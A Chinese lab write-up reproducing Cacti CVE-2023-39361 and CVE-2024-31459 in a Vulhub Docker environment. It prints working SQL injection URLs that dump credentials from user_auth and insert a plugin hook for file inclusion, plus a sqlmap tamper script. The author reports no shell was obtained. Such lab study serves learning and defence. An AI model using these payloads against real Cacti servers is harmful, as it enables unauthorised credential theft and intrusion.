Vulhub 中的 Cacti-CVE-2023-39361

0x00 前言

先学习一下背景吧,Cacti是一个全面的网络图形化解决方案,旨在利用RRDTool的数据存储和图形功能,为网络管理员提供直观的界面来监控和分析网络性能数据。

在Cacti 1.2.24及更早版本中,graph_view.php文件存在一个严重的漏洞,当启用guest用户时,未经任何身份验证的攻击者通过'rfilter'参数即可执行SQL注入攻击,最终可能导致远程代码执行。

0x01 环境搭建

使用docker搭建环境。

复制代码
sudo docker compose up -d

访问环境。用户名/密码:admin/admin

复制代码
http://localhost:8080

一路确定下来之后,进行设置。需要开启guest用户才能进行复现。

0x02 CVE-2023-39361

首先nmap扫描一下端口。

目前已知条件有ip和端口,那接下来扫描一下后台。

访问一下。

抓个包构造poc。

复制代码
http://192.168.217.166:8080/graph_view.php?action=tree_content&node=1-1-tree_anchor&rfilter=aaaaaaa"%20OR%20""="(("))%20UNION%20SELECT%201,2,(select%20concat(id,0x23,username,0x23,password)%20from%20user_auth%20limit%201),4,5,6,(select%20user()),(select%20version()),9,10%23

已经在回显中看到对应的用户名和密码。

但是没解码出来,至今也不知道密码是啥。用sqlmap也没跑出来,shell也没拿到。

0x03 CVE-2024-31459

原理是:由于Cacti支持堆叠查询,可以利用CVE-2023-39361结合CVE-2024-31459实现本地文件包含。

那在上一个包的基础上,修改一下payload。

复制代码
http://192.168.2.166:8080/graph_view.php?action=tree_content&node=1-1-tree_anchor&rfilter=aaaaa"%20OR%20""="(("));INSERT%20INTO%20plugin_hooks(name,hook,file,status)%20VALUES%20(".","login_before","../log/cacti.log",1);%23

原理是把hooks插入到/log/cacti.log中,将api_plugin_hook() 函数直接从数据库的 plugin_hooksplugin_config 表中读取数据,并将其拼接为文件路径进行包含操作。

这种设计缺乏对输入的有效验证,攻击者可以通过精心构造的输入实现恶意文件的包含。结合 SQL 注入漏洞,攻击者能够操控数据库内容,从而进一步利用文件包含漏洞执行任意代码。

接下来修改payload,利用updatexml函数触发SQL报错,在错误信息中显示注入的PHP代码,验证注入有效性。

那么是不是可以再修改payload写入木马呢?

访问一下。

不太行。

改用system函数也不太行。

直接sqlmap一把梭。

一开始是跑不到,问了大佬发现注入点的问题,于是参考大佬的脚本修改了一下,由于大佬用的python和我的python版本不一样,因此优化了一下。

复制代码
#!/usr/bin/env python
# coding: utf-8

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.NORMAL

def dependencies():
    pass

def tamper(payload, **kwargs):
    """
    Wraps payload for a specific double RLIKE injection.
    
    It closes the first RLIKE with a quote, injects a UNION query, 
    and comments out the rest of the SQL statement.
    This tamper script is specifically designed for the described scenario.
    Example:
    >>> tamper('1 UNION SELECT 1,2,3')
    '" OR ""="(("))UNION SELECT 1,2,3#'
    """
    
    if payload:
        # Python 2 兼容写法:使用字符串拼接而非 f-string
        retVal = '" OR ""="(("))' + payload + '#'
        return retVal
    else:
        return payload

虽然能跑动了,但是也没跑出来结果,拿不到shell。

0x04 总结

这个漏洞研究了几个星期,确实没有拿到shell,很遗憾,先记录下来,后面慢慢研究,如果师傅们有思路还请不吝赐教。

相关推荐
智塑未来7 小时前
中小公司在线文档选型:从协作入口到安全边界
运维·安全
山东科恩光电7 小时前
提升橡塑行业安全性,科恩密佑KKL-01光敏传感器的应用优势与前景
安全
Best-Wishes9 小时前
好靶场杯第一届-古法 流量包分析
计算机网络·web安全·安全威胁分析
是隼人9 小时前
buuctf-pwn xdctf2015_pwn200题解(学习过程持续更新)
c语言·学习·安全·pwn入门·ctf入门
Dovis(誓平步青云)13 小时前
折叠屏悬停看视频,上半屏和下半屏应该各做什么
android·java·服务器·开发语言·安全·音视频
2601_9620725014 小时前
网络安全防护指南:筑牢网络安全防线(510)
安全·web安全·php
IT大白鼠14 小时前
MSF数据库与资产管理——专业渗透测试流程
数据库·安全·msf
飞飞传输15 小时前
国产化 MOVEit 替代:文件传输架构与安全能力深度解读
大数据·运维·安全
黄俊懿15 小时前
【架构师从入门到进阶】第五章:DNS&CDN&网关优化思路——第十节:网关安全-单向加密
网络·数据库·计算机网络·安全·架构·系统架构·架构师
海盗123416 小时前
AI新闻日报_2026-08-24——AI 安全从理论风险变成现实事件——Coding Agent 越狱与具身机器人运动会共塑“干活即合规“新基线
人工智能·安全·机器人